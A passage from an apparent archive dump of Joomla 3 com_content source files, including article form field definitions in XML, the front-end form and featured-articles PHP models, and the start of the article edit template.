				label="JGLOBAL_SHOW_PRINT_ICON_LABEL"
				description="JGLOBAL_SHOW_PRINT_ICON_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_email_icon"
				type="list"
				label="JGLOBAL_SHOW_EMAIL_ICON_LABEL"
				description="JGLOBAL_SHOW_EMAIL_ICON_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_vote"
				type="list"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				description="JGLOBAL_SHOW_VOTE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_hits"
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				description="JGLOBAL_SHOW_HITS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="show_noauth"
				type="list"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="urls_position"
				type="list"
				label="COM_CONTENT_FIELD_URLSPOSITION_LABEL"
				description="COM_CONTENT_FIELD_URLSPOSITION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">COM_CONTENT_FIELD_OPTION_ABOVE</option>
				<option value="1">COM_CONTENT_FIELD_OPTION_BELOW</option>
			</field>

			<field
				name="spacer2"
				type="spacer"
				hr="true"
			/>

			<field
				name="alternative_readmore"
				type="text"
				label="JFIELD_READMORE_LABEL"
				description="JFIELD_READMORE_DESC"
				size="25"
			/>

			<field
				name="article_page_title"
				type="text"
				label="COM_CONTENT_FIELD_BROWSER_PAGE_TITLE_LABEL"
				description="COM_CONTENT_FIELD_BROWSER_PAGE_TITLE_DESC"
				size="25"
			/>
		</fieldset>

		<fieldset name="editorConfig" label="COM_CONTENT_EDITORCONFIG_FIELDSET_LABEL">
			<field
				name="show_publishing_options"
				type="list"
				label="COM_CONTENT_SHOW_PUBLISHING_OPTIONS_LABEL"
				description="COM_CONTENT_SHOW_PUBLISHING_OPTIONS_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_article_options"
				type="list"
				label="COM_CONTENT_SHOW_ARTICLE_OPTIONS_LABEL"
				description="COM_CONTENT_SHOW_ARTICLE_OPTIONS_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_urls_images_backend"
				type="list"
				label="COM_CONTENT_SHOW_IMAGES_URLS_BACK_LABEL"
				description="COM_CONTENT_SHOW_IMAGES_URLS_BACK_DESC"
				useglobal="true"
				class="chzn-color"
				default=""
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="show_urls_images_frontend"
				type="list"
				label="COM_CONTENT_SHOW_IMAGES_URLS_FRONT_LABEL"
				description="COM_CONTENT_SHOW_IMAGES_URLS_FRONT_DESC"
				useglobal="true"
				class="chzn-color"
				default=""
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>
		</fieldset>

		<fieldset name="basic-limited" label="COM_CONTENT_ATTRIBS_FIELDSET_LABEL">
			<field
				name="show_title"
				type="hidden"
				label="JGLOBAL_SHOW_TITLE_LABEL"
				description="JGLOBAL_SHOW_TITLE_DESC"
			/>

			<field
				name="link_titles"
				type="hidden"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				description="JGLOBAL_LINKED_TITLES_DESC"
			/>

			<field
				name="show_intro"
				type="hidden"
				label="JGLOBAL_SHOW_INTRO_LABEL"
				description="JGLOBAL_SHOW_INTRO_DESC"
			/>

			<field
				name="show_category"
				type="hidden"
				label="JGLOBAL_SHOW_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_CATEGORY_DESC"
			/>

			<field
				name="link_category"
				type="hidden"
				label="JGLOBAL_LINK_CATEGORY_LABEL"
				description="JGLOBAL_LINK_CATEGORY_DESC"
			/>

			<field
				name="show_parent_category"
				type="hidden"
				label="JGLOBAL_SHOW_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_SHOW_PARENT_CATEGORY_DESC"
			/>

			<field
				name="link_parent_category"
				type="hidden"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_LINK_PARENT_CATEGORY_DESC"
			/>

			<field
				name="show_author"
				type="hidden"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				description="JGLOBAL_SHOW_AUTHOR_DESC"
			/>

			<field
				name="link_author"
				type="hidden"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				description="JGLOBAL_LINK_AUTHOR_DESC"
			/>

			<field
				name="show_create_date"
				type="hidden"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				description="JGLOBAL_SHOW_CREATE_DATE_DESC"
			/>

			<field
				name="show_modify_date"
				type="hidden"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				description="JGLOBAL_SHOW_MODIFY_DATE_DESC"
			/>

			<field
				name="show_publish_date"
				type="hidden"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				description="JGLOBAL_SHOW_PUBLISH_DATE_DESC"
			/>

			<field
				name="show_item_navigation"
				type="hidden"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				description="JGLOBAL_SHOW_NAVIGATION_DESC"
			/>

			<field
				name="show_icons"
				type="hidden"
				label="JGLOBAL_SHOW_ICONS_LABEL"
				description="JGLOBAL_SHOW_ICONS_DESC"
			/>

			<field
				name="show_print_icon"
				type="hidden"
				label="JGLOBAL_SHOW_PRINT_ICON_LABEL"
				description="JGLOBAL_SHOW_PRINT_ICON_DESC"
			/>

			<field
				name="show_email_icon"
				type="hidden"
				label="JGLOBAL_SHOW_EMAIL_ICON_LABEL"
				description="JGLOBAL_SHOW_EMAIL_ICON_DESC"
			/>

			<field
				name="show_vote"
				type="hidden"
				label="JGLOBAL_SHOW_VOTE_LABEL"
				description="JGLOBAL_SHOW_VOTE_DESC"
			/>

			<field
				name="show_hits"
				type="hidden"
				label="JGLOBAL_SHOW_HITS_LABEL"
				description="JGLOBAL_SHOW_HITS_DESC"
			/>

			<field
				name="show_noauth"
				type="hidden"
				label="JGLOBAL_SHOW_UNAUTH_LINKS_LABEL"
				description="JGLOBAL_SHOW_UNAUTH_LINKS_DESC"
			/>

			<field
				name="alternative_readmore"
				type="hidden"
				label="JFIELD_READMORE_LABEL"
				description="JFIELD_READMORE_DESC"
				size="25"
			/>

			<field
				name="article_layout"
				type="hidden"
				label="JFIELD_ALT_LAYOUT_LABEL"
				description="JFIELD_ALT_COMPONENT_LAYOUT_DESC"
				useglobal="true"
				extension="com_content" view="article"
			/>
		</fieldset>
	</fields>

	<field
		name="xreference"
		type="text"
		label="JFIELD_KEY_REFERENCE_LABEL"
		description="JFIELD_KEY_REFERENCE_DESC"
		size="20"
	/>

	<fields name="images" label="COM_CONTENT_FIELD_IMAGE_OPTIONS">
		<field
			name="image_intro"
			type="media"
			label="COM_CONTENT_FIELD_INTRO_LABEL"
			description="COM_CONTENT_FIELD_INTRO_DESC"
		/>

		<field
			name="float_intro"
			type="list"
			label="COM_CONTENT_FLOAT_LABEL"
			description="COM_CONTENT_FLOAT_DESC"
			useglobal="true"
			>
			<option value="right">COM_CONTENT_RIGHT</option>
			<option value="left">COM_CONTENT_LEFT</option>
			<option value="none">COM_CONTENT_NONE</option>
		</field>

		<field
			name="image_intro_alt"
			type="text"
			label="COM_CONTENT_FIELD_IMAGE_ALT_LABEL"
			description="COM_CONTENT_FIELD_IMAGE_ALT_DESC"
			size="20"
		/>

		<field
			name="image_intro_caption"
			type="text"
			label="COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL"
			description="COM_CONTENT_FIELD_IMAGE_CAPTION_DESC"
			size="20"
		/>

		<field
			name="spacer1"
			type="spacer"
			hr="true"
		/>

		<field
			name="image_fulltext"
			type="media"
			label="COM_CONTENT_FIELD_FULL_LABEL"
			description="COM_CONTENT_FIELD_FULL_DESC"
		/>

		<field
			name="float_fulltext"
			type="list"
			label="COM_CONTENT_FLOAT_LABEL"
			description="COM_CONTENT_FLOAT_DESC"
			useglobal="true"
			>
			<option value="right">COM_CONTENT_RIGHT</option>
			<option value="left">COM_CONTENT_LEFT</option>
			<option value="none">COM_CONTENT_NONE</option>
		</field>

		<field
			name="image_fulltext_alt"
			type="text"
			label="COM_CONTENT_FIELD_IMAGE_ALT_LABEL"
			description="COM_CONTENT_FIELD_IMAGE_ALT_DESC"
			size="20"
		/>

		<field
			name="image_fulltext_caption"
			type="text"
			label="COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL"
			description="COM_CONTENT_FIELD_IMAGE_CAPTION_DESC"
			size="20"
		/>
	</fields>
	<fields name="urls" label="COM_CONTENT_FIELD_URLS_OPTIONS">
		<field
			name="urla"
			type="url"
			label="COM_CONTENT_FIELD_URLA_LABEL"
			description="COM_CONTENT_FIELD_URL_DESC"
			validate="url"
			filter="url"
			relative="true"
		/>

		<field
			name="urlatext"
			type="text"
			label="COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL"
			description="COM_CONTENT_FIELD_URL_LINK_TEXT_DESC"
			size="20"
		/>

		<field
			name="targeta"
			type="list"
			label="COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL"
			description="COM_CONTENT_URL_FIELD_BROWSERNAV_DESC"
			default=""
			filter="options"
			useglobal="true"
			>
			<option value="0">JBROWSERTARGET_PARENT</option>
			<option value="1">JBROWSERTARGET_NEW</option>
			<option value="2">JBROWSERTARGET_POPUP</option>
			<option value="3">JBROWSERTARGET_MODAL</option>
		</field>

		<field
			name="spacer3"
			type="spacer"
			hr="true"
		/>

		<field
			name="urlb"
			type="url"
			label="COM_CONTENT_FIELD_URLB_LABEL"
			description="COM_CONTENT_FIELD_URL_DESC"
			validate="url"
			filter="url"
			relative="true"
		/>

		<field
			name="urlbtext"
			type="text"
			label="COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL"
			description="COM_CONTENT_FIELD_URL_LINK_TEXT_DESC"
			size="20"
		/>

		<field
			name="targetb"
			type="list"
			label="COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL"
			description="COM_CONTENT_URL_FIELD_BROWSERNAV_DESC"
			default=""
			filter="options"
			useglobal="true"
			>
			<option value="0">JBROWSERTARGET_PARENT</option>
			<option value="1">JBROWSERTARGET_NEW</option>
			<option value="2">JBROWSERTARGET_POPUP</option>
			<option value="3">JBROWSERTARGET_MODAL</option>
		</field>

		<field
			name="spacer4"
			type="spacer"
			hr="true"
		/>

		<field
			name="urlc"
			type="url"
			label="COM_CONTENT_FIELD_URLC_LABEL"
			description="COM_CONTENT_FIELD_URL_DESC"
			validate="url"
			filter="url"
			relative="true"
		/>

		<field
			name="urlctext"
			type="text"
			label="COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL"
			description="COM_CONTENT_FIELD_URL_LINK_TEXT_DESC"
			size="20"
		/>

		<field
			name="targetc"
			type="list"
			label="COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL"
			description="COM_CONTENT_URL_FIELD_BROWSERNAV_DESC"
			default=""
			filter="options"
			useglobal="true"
			>
			<option value="0">JBROWSERTARGET_PARENT</option>
			<option value="1">JBROWSERTARGET_NEW</option>
			<option value="2">JBROWSERTARGET_POPUP</option>
			<option value="3">JBROWSERTARGET_MODAL</option>
		</field>

	</fields>

	<fields name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
		<fieldset name="jmetadata"
			label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

			<field
				name="robots"
				type="list"
				label="JFIELD_METADATA_ROBOTS_LABEL"
				description="JFIELD_METADATA_ROBOTS_DESC"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="index, follow"></option>
				<option value="noindex, follow"></option>
				<option value="index, nofollow"></option>
				<option value="noindex, nofollow"></option>
			</field>

			<field
				name="author"
				type="text"
				label="JAUTHOR"
				description="JFIELD_METADATA_AUTHOR_DESC"
				size="20"
			/>

			<field
				name="rights"
				type="textarea"
				label="JFIELD_META_RIGHTS_LABEL"
				description="JFIELD_META_RIGHTS_DESC"
				filter="string"
				cols="30"
				rows="2"
			/>

			<field
				name="xreference"
				type="text"
				label="COM_CONTENT_FIELD_XREFERENCE_LABEL"
				description="COM_CONTENT_FIELD_XREFERENCE_DESC"
				size="20"
			/>

		</fieldset>
	</fields>
	<!-- These fields are used to get labels for the Content History Preview and Compare Views -->
	<fields>
		<field
			name="introtext"
			label="COM_CONTENT_FIELD_INTROTEXT"
		/>

		<field
			name="fulltext"
			label="COM_CONTENT_FIELD_FULLTEXT"
		/>
	</fields>

</form>
com_content/models/form.php000060400000012512152453734450012024 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

// Base this model on the backend version.
JLoader::register('ContentModelArticle', JPATH_ADMINISTRATOR . '/components/com_content/models/article.php');

/**
 * Content Component Article Model
 *
 * @since  1.5
 */
class ContentModelForm extends ContentModelArticle
{
	/**
	 * Model typeAlias string. Used for version history.
	 *
	 * @var        string
	 */
	public $typeAlias = 'com_content.article';

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication();

		// Load the parameters.
		$params = $app->getParams();
		$this->setState('params', $params);

		if ($params && $params->get('enable_category') == 1 && $params->get('catid'))
		{
			$catId = $params->get('catid');
		}
		else
		{
			$catId = 0;
		}

		// Load state from the request.
		$pk = $app->input->getInt('a_id');
		$this->setState('article.id', $pk);

		$this->setState('article.catid', $app->input->getInt('catid', $catId));

		$return = $app->input->get('return', null, 'base64');
		$this->setState('return_page', base64_decode($return));

		$this->setState('layout', $app->input->getString('layout'));
	}

	/**
	 * Method to get article data.
	 *
	 * @param   integer  $itemId  The id of the article.
	 *
	 * @return  mixed  Content item data object on success, false on failure.
	 */
	public function getItem($itemId = null)
	{
		$itemId = (int) (!empty($itemId)) ? $itemId : $this->getState('article.id');

		// Get a row instance.
		$table = $this->getTable();

		// Attempt to load the row.
		$return = $table->load($itemId);

		// Check for a table object error.
		if ($return === false && $table->getError())
		{
			$this->setError($table->getError());

			return false;
		}

		$properties = $table->getProperties(1);
		$value = ArrayHelper::toObject($properties, 'JObject');

		// Convert attrib field to Registry.
		$value->params = new Registry($value->attribs);

		// Compute selected asset permissions.
		$user   = JFactory::getUser();
		$userId = $user->get('id');
		$asset  = 'com_content.article.' . $value->id;

		// Check general edit permission first.
		if ($user->authorise('core.edit', $asset))
		{
			$value->params->set('access-edit', true);
		}

		// Now check if edit.own is available.
		elseif (!empty($userId) && $user->authorise('core.edit.own', $asset))
		{
			// Check for a valid user and that they are the owner.
			if ($userId == $value->created_by)
			{
				$value->params->set('access-edit', true);
			}
		}

		// Check edit state permission.
		if ($itemId)
		{
			// Existing item
			$value->params->set('access-change', $user->authorise('core.edit.state', $asset));
		}
		else
		{
			// New item.
			$catId = (int) $this->getState('article.catid');

			if ($catId)
			{
				$value->params->set('access-change', $user->authorise('core.edit.state', 'com_content.category.' . $catId));
				$value->catid = $catId;
			}
			else
			{
				$value->params->set('access-change', $user->authorise('core.edit.state', 'com_content'));
			}
		}

		$value->articletext = $value->introtext;

		if (!empty($value->fulltext))
		{
			$value->articletext .= '<hr id="system-readmore" />' . $value->fulltext;
		}

		// Convert the metadata field to an array.
		$registry = new Registry($value->metadata);
		$value->metadata = $registry->toArray();

		if ($itemId)
		{
			$value->tags = new JHelperTags;
			$value->tags->getTagIds($value->id, 'com_content.article');
			$value->metadata['tags'] = $value->tags;
		}

		return $value;
	}

	/**
	 * Get the return URL.
	 *
	 * @return  string	The return URL.
	 *
	 * @since   1.6
	 */
	public function getReturnPage()
	{
		return base64_encode($this->getState('return_page'));
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.2
	 */
	public function save($data)
	{
		// Associations are not edited in frontend ATM so we have to inherit them
		if (JLanguageAssociations::isEnabled() && !empty($data['id'])
			&& $associations = JLanguageAssociations::getAssociations('com_content', '#__content', 'com_content.item', $data['id']))
		{
			foreach ($associations as $tag => $associated)
			{
				$associations[$tag] = (int) $associated->id;
			}

			$data['associations'] = $associations;
		}

		return parent::save($data);
	}

	/**
	 * Allows preprocessing of the JForm object.
	 *
	 * @param   JForm   $form   The form object
	 * @param   array   $data   The data to be merged into the form object
	 * @param   string  $group  The plugin group to be executed
	 *
	 * @return  void
	 *
	 * @since   3.7.0
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'content')
	{
		$params = $this->getState()->get('params');

		if ($params && $params->get('enable_category') == 1 && $params->get('catid'))
		{
			$form->setFieldAttribute('catid', 'default', $params->get('catid'));
			$form->setFieldAttribute('catid', 'readonly', 'true');
		}

		parent::preprocessForm($form, $data, $group);
	}
}
com_content/models/featured.php000060400000020404152453734450012657 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

JLoader::register('ContentModelArticles', __DIR__ . '/articles.php');

/**
 * Methods supporting a list of featured article records.
 *
 * @since  1.6
 */
class ContentModelFeatured extends ContentModelArticles
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'alias', 'a.alias',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'catid', 'a.catid', 'category_title',
				'state', 'a.state',
				'access', 'a.access', 'access_level',
				'created', 'a.created',
				'created_by', 'a.created_by',
				'created_by_alias', 'a.created_by_alias',
				'ordering', 'a.ordering',
				'featured', 'a.featured',
				'language', 'a.language',
				'hits', 'a.hits',
				'publish_up', 'a.publish_up',
				'publish_down', 'a.publish_down',
				'fp.ordering',
				'published', 'a.published',
				'author_id',
				'category_id',
				'level',
				'tag',
				'rating_count', 'rating',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$user = JFactory::getUser();

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.title, a.alias, a.checked_out, a.checked_out_time, a.catid, a.state, a.access, a.created, a.hits,' .
					'a.created_by, a.featured, a.language, a.created_by_alias, a.publish_up, a.publish_down, a.note'
			)
		);
		$query->from('#__content AS a');

		// Join over the language
		$query->select('l.title AS language_title, l.image AS language_image')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');

		// Join over the content table.
		$query->select('fp.ordering')
			->join('INNER', '#__content_frontpage AS fp ON fp.content_id = a.id');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')
			->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Join over the asset groups.
		$query->select('ag.title AS access_level')
			->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access');

		// Join over the categories.
		$query->select('c.title AS category_title, c.created_user_id AS category_uid, c.level AS category_level')
			->join('LEFT', '#__categories AS c ON c.id = a.catid');

		// Join over the parent categories.
		$query->select('parent.title AS parent_category_title, parent.id AS parent_category_id, 
								parent.created_user_id AS parent_category_uid, parent.level AS parent_category_level')
			->join('LEFT', '#__categories AS parent ON parent.id = c.parent_id');

		// Join over the users for the author.
		$query->select('ua.name AS author_name')
			->join('LEFT', '#__users AS ua ON ua.id = a.created_by');

		// Join on voting table
		if (JPluginHelper::isEnabled('content', 'vote'))
		{
			$query->select('COALESCE(NULLIF(ROUND(v.rating_sum  / v.rating_count, 0), 0), 0) AS rating,
							COALESCE(NULLIF(v.rating_count, 0), 0) as rating_count')
				->join('LEFT', '#__content_rating AS v ON a.id = v.content_id');
		}

		// Filter by access level.
		$access = $this->getState('filter.access');

		if (is_numeric($access))
		{
			$query->where('a.access = ' . (int) $access);
		}
		elseif (is_array($access))
		{
			$access = ArrayHelper::toInteger($access);
			$access = implode(',', $access);
			$query->where('a.access IN (' . $access . ')');
		}

		// Filter by access level on categories.
		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
			$query->where('c.access IN (' . $groups . ')');
		}

		// Filter by published state
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where('a.state = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.state = 0 OR a.state = 1)');
		}

		// Filter by a single or group of categories.
		$baselevel = 1;
		$categoryId = $this->getState('filter.category_id');

		if (is_array($categoryId) && count($categoryId) === 1)
		{
			$cat_tbl = JTable::getInstance('Category', 'JTable');
			$cat_tbl->load($categoryId[0]);
			$rgt = $cat_tbl->rgt;
			$lft = $cat_tbl->lft;
			$baselevel = (int) $cat_tbl->level;
			$query->where('c.lft >= ' . (int) $lft)
				->where('c.rgt <= ' . (int) $rgt);
		}
		elseif (is_array($categoryId))
		{
			$categoryId = implode(',', ArrayHelper::toInteger($categoryId));
			$query->where('a.catid IN (' . $categoryId . ')');
		}

		// Filter on the level.
		if ($level = $this->getState('filter.level'))
		{
			$query->where('c.level <= ' . ((int) $level + (int) $baselevel - 1));
		}

		// Filter by author
		$authorId = $this->getState('filter.author_id');

		if (is_numeric($authorId))
		{
			$type = $this->getState('filter.author_id.include', true) ? '= ' : '<>';
			$query->where('a.created_by ' . $type . (int) $authorId);
		}
		elseif (is_array($authorId))
		{
			$authorId = ArrayHelper::toInteger($authorId);
			$authorId = implode(',', $authorId);
			$query->where('a.created_by IN (' . $authorId . ')');
		}

		// Filter by search in title.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			elseif (stripos($search, 'author:') === 0)
			{
				$search = $db->quote('%' . $db->escape(substr($search, 7), true) . '%');
				$query->where('(ua.name LIKE ' . $search . ' OR ua.username LIKE ' . $search . ')');
			}
			elseif (stripos($search, 'content:') === 0)
			{
				$search = $db->quote('%' . $db->escape(substr($search, 8), true) . '%');
				$query->where('(a.introtext LIKE ' . $search . ' OR a.fulltext LIKE ' . $search . ')');
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(a.title LIKE ' . $search . ' OR a.alias LIKE ' . $search . ' OR a.note LIKE ' . $search . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where('a.language = ' . $db->quote($language));
		}

		// Filter by a single or group of tags.
		$tagId = $this->getState('filter.tag');

		if (is_array($tagId) && count($tagId) === 1)
		{
			$tagId = current($tagId);
		}

		if (is_array($tagId))
		{
			$tagId = implode(',', ArrayHelper::toInteger($tagId));

			if ($tagId)
			{
				$subQuery = $db->getQuery(true)
					->select('DISTINCT content_item_id')
					->from($db->quoteName('#__contentitem_tag_map'))
					->where('tag_id IN (' . $tagId . ')')
					->where('type_alias = ' . $db->quote('com_content.article'));

				$query->join('INNER', '(' . (string) $subQuery . ') AS tagmap ON tagmap.content_item_id = a.id');
			}
		}
		elseif ($tagId)
		{
			$query->join(
				'INNER',
				$db->quoteName('#__contentitem_tag_map', 'tagmap')
				. ' ON tagmap.tag_id = ' . (int) $tagId
				. ' AND tagmap.content_item_id = a.id'
				. ' AND tagmap.type_alias = ' . $db->quote('com_content.article')
			);
		}

		// Add the list ordering clause.
		$orderCol  = $this->state->get('list.ordering', 'a.title');
		$orderDirn = $this->state->get('list.direction', 'ASC');

		$query->order($db->escape($orderCol) . ' ' . $db->escape($orderDirn));

		return $query;
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	protected function populateState($ordering = 'a.title', $direction = 'asc')
	{
		parent::populateState($ordering, $direction);
	}
}
com_content/views/form/tmpl/edit.xml000060400000003614152453734450013613 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_FORM_VIEW_DEFAULT_TITLE" option="COM_CONTENT_FORM_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_ARTICLE_CREATE"
		/>
		<message>
			<![CDATA[COM_CONTENT_FORM_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
	<fields name="params">
		<fieldset name="basic"
			addfieldpath="/administrator/components/com_categories/models/fields"
		>
			<field 
				name="enable_category"
				type="radio"
				label="COM_CONTENT_CREATE_ARTICLE_CATEGORY_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_CATEGORY_DESC"
				class="btn-group btn-group-yesno"
				default="0"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="catid"
				type="modal_category"
				label="JGLOBAL_CHOOSE_CATEGORY_LABEL"
				description="JGLOBAL_CHOOSE_CATEGORY_DESC"
				extension="com_content"
				select="true"
				new="true"
				edit="true"
				clear="true"
				showon="enable_category:1"
			/>

			<field
				name="redirect_menuitem"
				type="modal_menu"
				label="COM_CONTENT_CREATE_ARTICLE_REDIRECTMENU_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_REDIRECTMENU_DESC"
				>
				<option value="">JDEFAULT</option>
			</field>

			<field
				name="custom_cancel_redirect"
				type="radio"
				label="COM_CONTENT_CREATE_ARTICLE_CUSTOM_CANCEL_REDIRECT_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_CUSTOM_CANCEL_REDIRECT_DESC"
				class="btn-group btn-group-yesno"
				default="0"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>

			<field
				name="cancel_redirect_menuitem"
				type="modal_menu"
				label="COM_CONTENT_CREATE_ARTICLE_CANCEL_REDIRECT_MENU_LABEL"
				description="COM_CONTENT_CREATE_ARTICLE_CANCEL_REDIRECT_MENU_DESC"
				showon="custom_cancel_redirect:1"
				>
				<option value="">JDEFAULT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
com_content/views/form/tmpl/edit.php000060400000015441152453734450013603 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.tabstate');
JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' => 0));
JHtml::_('formbehavior.chosen', '#jform_tags', null, array('placeholder_text_multiple' => JText::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')));
JHtml::_('formbehavior.chosen', 'select');
$this->tab_name = 'com-content-form';
$this->ignore_fieldsets = array('image-intro', 'image-full', 'jmetadata', 'item_associations');

// Create shortcut to parameters.
$params = $this->state->get('params');

// This checks if the editor config options have ever been saved. If they haven't they will fall back to the original settings.
$editoroptions = isset($params->show_publishing_options);

if (!$editoroptions)
{
	$params->show_urls_images_frontend = '0';
}

JFactory::getDocument()->addScriptDeclaration("
	Joomla.submitbutton = function(task)
	{
		if (task == 'article.cancel' || document.formvalidator.isValid(document.getElementById('adminForm')))
		{
			" . $this->form->getField('articletext')->save() . "
			Joomla.submitform(task);
		}
	}
");
?>
<div class="edit item-page<?php echo $this->pageclass_sfx; ?>">
	<?php if ($params->get('show_page_heading')) : ?>
	<div class="page-header">
		<h1>
			<?php echo $this->escape($params->get('page_heading')); ?>
		</h1>
	</div>
	<?php endif; ?>

	<form action="<?php echo JRoute::_('index.php?option=com_content&a_id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="adminForm" class="form-validate form-vertical">
		<fieldset>
			<?php echo JHtml::_('bootstrap.startTabSet', $this->tab_name, array('active' => 'editor')); ?>

			<?php echo JHtml::_('bootstrap.addTab', $this->tab_name, 'editor', JText::_('COM_CONTENT_ARTICLE_CONTENT')); ?>
				<?php echo $this->form->renderField('title'); ?>

				<?php if (is_null($this->item->id)) : ?>
					<?php echo $this->form->renderField('alias'); ?>
				<?php endif; ?>

				<?php echo $this->form->getInput('articletext'); ?>

				<?php if ($this->captchaEnabled) : ?>
					<?php echo $this->form->renderField('captcha'); ?>
				<?php endif; ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php if ($params->get('show_urls_images_frontend')) : ?>
			<?php echo JHtml::_('bootstrap.addTab', $this->tab_name, 'images', JText::_('COM_CONTENT_IMAGES_AND_URLS')); ?>
